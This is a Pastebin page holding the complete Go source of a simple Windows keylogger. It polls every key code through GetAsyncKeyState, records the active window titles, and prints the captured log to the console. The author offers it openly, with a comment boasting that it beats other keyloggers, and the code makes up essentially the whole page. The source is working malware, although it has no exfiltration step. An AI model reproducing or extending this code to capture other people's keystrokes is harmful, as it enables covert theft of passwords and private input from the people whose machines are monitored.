Advertisement
FlyFar

Simple Go Keylogger

Jul 15th, 2023
1,081
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 7.15 KB | Cybersecurity | 0 0
  1. // A simple keylogger that captures window titles and all keys using AllenDang/w32.
  2. // Of course this has flaws but this keylogger is better than the other ones I have found.
  3. package main
  4.  
  5. import (
  6.     "fmt"
  7.     "os"
  8.     "syscall"
  9.     "time"
  10.     "unsafe"
  11.  
  12.     "github.com/AllenDang/w32"
  13. )
  14.  
  15. var (
  16.     user32                  = syscall.NewLazyDLL("user32.dll")
  17.     procGetAsyncKeyState    = user32.NewProc("GetAsyncKeyState")
  18.     procGetForegroundWindow = user32.NewProc("GetForegroundWindow") //GetForegroundWindow
  19.     procGetWindowTextW      = user32.NewProc("GetWindowTextW")      //GetWindowTextW
  20.  
  21.     tmpKeylog string
  22.     tmpTitle  string
  23. )
  24.  
  25. //Get Active Window Title
  26. func getForegroundWindow() (hwnd syscall.Handle, err error) {
  27.     r0, _, e1 := syscall.Syscall(procGetForegroundWindow.Addr(), 0, 0, 0, 0)
  28.     if e1 != 0 {
  29.         err = error(e1)
  30.         return
  31.     }
  32.     hwnd = syscall.Handle(r0)
  33.     return
  34. }
  35.  
  36. func getWindowText(hwnd syscall.Handle, str *uint16, maxCount int32) (len int32, err error) {
  37.     r0, _, e1 := syscall.Syscall(procGetWindowTextW.Addr(), 3, uintptr(hwnd), uintptr(unsafe.Pointer(str)), uintptr(maxCount))
  38.     len = int32(r0)
  39.     if len == 0 {
  40.         if e1 != 0 {
  41.             err = error(e1)
  42.         } else {
  43.             err = syscall.EINVAL
  44.         }
  45.     }
  46.     return
  47. }
  48.  
  49. func windowLogger() {
  50.     for {
  51.         g, _ := getForegroundWindow()
  52.         b := make([]uint16, 200)
  53.         _, err := getWindowText(g, &b[0], int32(len(b)))
  54.         if err != nil {
  55.         }
  56.         if syscall.UTF16ToString(b) != "" {
  57.             if tmpTitle != syscall.UTF16ToString(b) {
  58.                 tmpTitle = syscall.UTF16ToString(b)
  59.                 tmpKeylog += string("[" + syscall.UTF16ToString(b) + "]\r\n")
  60.             }
  61.         }
  62.         time.Sleep(1 * time.Millisecond)
  63.     }
  64. }
  65.  
  66. func keyLogger() {
  67.     for {
  68.         time.Sleep(1 * time.Millisecond)
  69.         for KEY := 0; KEY <= 256; KEY++ {
  70.             Val, _, _ := procGetAsyncKeyState.Call(uintptr(KEY))
  71.             if int(Val) == -32767 {
  72.                 switch KEY {
  73.                 case w32.VK_CONTROL:
  74.                     tmpKeylog += "[Ctrl]"
  75.                 case w32.VK_BACK:
  76.                     tmpKeylog += "[Back]"
  77.                 case w32.VK_TAB:
  78.                     tmpKeylog += "[Tab]"
  79.                 case w32.VK_RETURN:
  80.                     tmpKeylog += "[Enter]\r\n"
  81.                 case w32.VK_SHIFT:
  82.                     tmpKeylog += "[Shift]"
  83.                 case w32.VK_MENU:
  84.                     tmpKeylog += "[Alt]"
  85.                 case w32.VK_CAPITAL:
  86.                     tmpKeylog += "[CapsLock]"
  87.                 case w32.VK_ESCAPE:
  88.                     tmpKeylog += "[Esc]"
  89.                 case w32.VK_SPACE:
  90.                     tmpKeylog += " "
  91.                 case w32.VK_PRIOR:
  92.                     tmpKeylog += "[PageUp]"
  93.                 case w32.VK_NEXT:
  94.                     tmpKeylog += "[PageDown]"
  95.                 case w32.VK_END:
  96.                     tmpKeylog += "[End]"
  97.                 case w32.VK_HOME:
  98.                     tmpKeylog += "[Home]"
  99.                 case w32.VK_LEFT:
  100.                     tmpKeylog += "[Left]"
  101.                 case w32.VK_UP:
  102.                     tmpKeylog += "[Up]"
  103.                 case w32.VK_RIGHT:
  104.                     tmpKeylog += "[Right]"
  105.                 case w32.VK_DOWN:
  106.                     tmpKeylog += "[Down]"
  107.                 case w32.VK_SELECT:
  108.                     tmpKeylog += "[Select]"
  109.                 case w32.VK_PRINT:
  110.                     tmpKeylog += "[Print]"
  111.                 case w32.VK_EXECUTE:
  112.                     tmpKeylog += "[Execute]"
  113.                 case w32.VK_SNAPSHOT:
  114.                     tmpKeylog += "[PrintScreen]"
  115.                 case w32.VK_INSERT:
  116.                     tmpKeylog += "[Insert]"
  117.                 case w32.VK_DELETE:
  118.                     tmpKeylog += "[Delete]"
  119.                 case w32.VK_HELP:
  120.                     tmpKeylog += "[Help]"
  121.                 case w32.VK_LWIN:
  122.                     tmpKeylog += "[LeftWindows]"
  123.                 case w32.VK_RWIN:
  124.                     tmpKeylog += "[RightWindows]"
  125.                 case w32.VK_APPS:
  126.                     tmpKeylog += "[Applications]"
  127.                 case w32.VK_SLEEP:
  128.                     tmpKeylog += "[Sleep]"
  129.                 case w32.VK_NUMPAD0:
  130.                     tmpKeylog += "[Pad 0]"
  131.                 case w32.VK_NUMPAD1:
  132.                     tmpKeylog += "[Pad 1]"
  133.                 case w32.VK_NUMPAD2:
  134.                     tmpKeylog += "[Pad 2]"
  135.                 case w32.VK_NUMPAD3:
  136.                     tmpKeylog += "[Pad 3]"
  137.                 case w32.VK_NUMPAD4:
  138.                     tmpKeylog += "[Pad 4]"
  139.                 case w32.VK_NUMPAD5:
  140.                     tmpKeylog += "[Pad 5]"
  141.                 case w32.VK_NUMPAD6:
  142.                     tmpKeylog += "[Pad 6]"
  143.                 case w32.VK_NUMPAD7:
  144.                     tmpKeylog += "[Pad 7]"
  145.                 case w32.VK_NUMPAD8:
  146.                     tmpKeylog += "[Pad 8]"
  147.                 case w32.VK_NUMPAD9:
  148.                     tmpKeylog += "[Pad 9]"
  149.                 case w32.VK_MULTIPLY:
  150.                     tmpKeylog += "*"
  151.                 case w32.VK_ADD:
  152.                     tmpKeylog += "+"
  153.                 case w32.VK_SEPARATOR:
  154.                     tmpKeylog += "[Separator]"
  155.                 case w32.VK_SUBTRACT:
  156.                     tmpKeylog += "-"
  157.                 case w32.VK_DECIMAL:
  158.                     tmpKeylog += "."
  159.                 case w32.VK_DIVIDE:
  160.                     tmpKeylog += "[Devide]"
  161.                 case w32.VK_F1:
  162.                     tmpKeylog += "[F1]"
  163.                 case w32.VK_F2:
  164.                     tmpKeylog += "[F2]"
  165.                 case w32.VK_F3:
  166.                     tmpKeylog += "[F3]"
  167.                 case w32.VK_F4:
  168.                     tmpKeylog += "[F4]"
  169.                 case w32.VK_F5:
  170.                     tmpKeylog += "[F5]"
  171.                 case w32.VK_F6:
  172.                     tmpKeylog += "[F6]"
  173.                 case w32.VK_F7:
  174.                     tmpKeylog += "[F7]"
  175.                 case w32.VK_F8:
  176.                     tmpKeylog += "[F8]"
  177.                 case w32.VK_F9:
  178.                     tmpKeylog += "[F9]"
  179.                 case w32.VK_F10:
  180.                     tmpKeylog += "[F10]"
  181.                 case w32.VK_F11:
  182.                     tmpKeylog += "[F11]"
  183.                 case w32.VK_F12:
  184.                     tmpKeylog += "[F12]"
  185.                 case w32.VK_NUMLOCK:
  186.                     tmpKeylog += "[NumLock]"
  187.                 case w32.VK_SCROLL:
  188.                     tmpKeylog += "[ScrollLock]"
  189.                 case w32.VK_LSHIFT:
  190.                     tmpKeylog += "[LeftShift]"
  191.                 case w32.VK_RSHIFT:
  192.                     tmpKeylog += "[RightShift]"
  193.                 case w32.VK_LCONTROL:
  194.                     tmpKeylog += "[LeftCtrl]"
  195.                 case w32.VK_RCONTROL:
  196.                     tmpKeylog += "[RightCtrl]"
  197.                 case w32.VK_LMENU:
  198.                     tmpKeylog += "[LeftMenu]"
  199.                 case w32.VK_RMENU:
  200.                     tmpKeylog += "[RightMenu]"
  201.                 case w32.VK_OEM_1:
  202.                     tmpKeylog += ";"
  203.                 case w32.VK_OEM_2:
  204.                     tmpKeylog += "/"
  205.                 case w32.VK_OEM_3:
  206.                     tmpKeylog += "`"
  207.                 case w32.VK_OEM_4:
  208.                     tmpKeylog += "["
  209.                 case w32.VK_OEM_5:
  210.                     tmpKeylog += "\\"
  211.                 case w32.VK_OEM_6:
  212.                     tmpKeylog += "]"
  213.                 case w32.VK_OEM_7:
  214.                     tmpKeylog += "'"
  215.                 case w32.VK_OEM_PERIOD:
  216.                     tmpKeylog += "."
  217.                 case 0x30:
  218.                     tmpKeylog += "0"
  219.                 case 0x31:
  220.                     tmpKeylog += "1"
  221.                 case 0x32:
  222.                     tmpKeylog += "2"
  223.                 case 0x33:
  224.                     tmpKeylog += "3"
  225.                 case 0x34:
  226.                     tmpKeylog += "4"
  227.                 case 0x35:
  228.                     tmpKeylog += "5"
  229.                 case 0x36:
  230.                     tmpKeylog += "6"
  231.                 case 0x37:
  232.                     tmpKeylog += "7"
  233.                 case 0x38:
  234.                     tmpKeylog += "8"
  235.                 case 0x39:
  236.                     tmpKeylog += "9"
  237.                 case 0x41:
  238.                     tmpKeylog += "a"
  239.                 case 0x42:
  240.                     tmpKeylog += "b"
  241.                 case 0x43:
  242.                     tmpKeylog += "c"
  243.                 case 0x44:
  244.                     tmpKeylog += "d"
  245.                 case 0x45:
  246.                     tmpKeylog += "e"
  247.                 case 0x46:
  248.                     tmpKeylog += "f"
  249.                 case 0x47:
  250.                     tmpKeylog += "g"
  251.                 case 0x48:
  252.                     tmpKeylog += "h"
  253.                 case 0x49:
  254.                     tmpKeylog += "i"
  255.                 case 0x4A:
  256.                     tmpKeylog += "j"
  257.                 case 0x4B:
  258.                     tmpKeylog += "k"
  259.                 case 0x4C:
  260.                     tmpKeylog += "l"
  261.                 case 0x4D:
  262.                     tmpKeylog += "m"
  263.                 case 0x4E:
  264.                     tmpKeylog += "n"
  265.                 case 0x4F:
  266.                     tmpKeylog += "o"
  267.                 case 0x50:
  268.                     tmpKeylog += "p"
  269.                 case 0x51:
  270.                     tmpKeylog += "q"
  271.                 case 0x52:
  272.                     tmpKeylog += "r"
  273.                 case 0x53:
  274.                     tmpKeylog += "s"
  275.                 case 0x54:
  276.                     tmpKeylog += "t"
  277.                 case 0x55:
  278.                     tmpKeylog += "u"
  279.                 case 0x56:
  280.                     tmpKeylog += "v"
  281.                 case 0x57:
  282.                     tmpKeylog += "w"
  283.                 case 0x58:
  284.                     tmpKeylog += "x"
  285.                 case 0x59:
  286.                     tmpKeylog += "y"
  287.                 case 0x5A:
  288.                     tmpKeylog += "z"
  289.                 }
  290.             }
  291.         }
  292.     }
  293. }
  294.  
  295. func main() {
  296.     fmt.Println("Starting KeyLogger!")
  297.     go keyLogger()
  298.     go windowLogger()
  299.     fmt.Println("Press Enter on me to see logs.")
  300.     os.Stdin.Read([]byte{0})
  301.     fmt.Println(tmpKeylog)
  302.     fmt.Println("Press Enter to Exit.")
  303.     os.Stdin.Read([]byte{0})
  304. }
Tags: go Keylogger
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement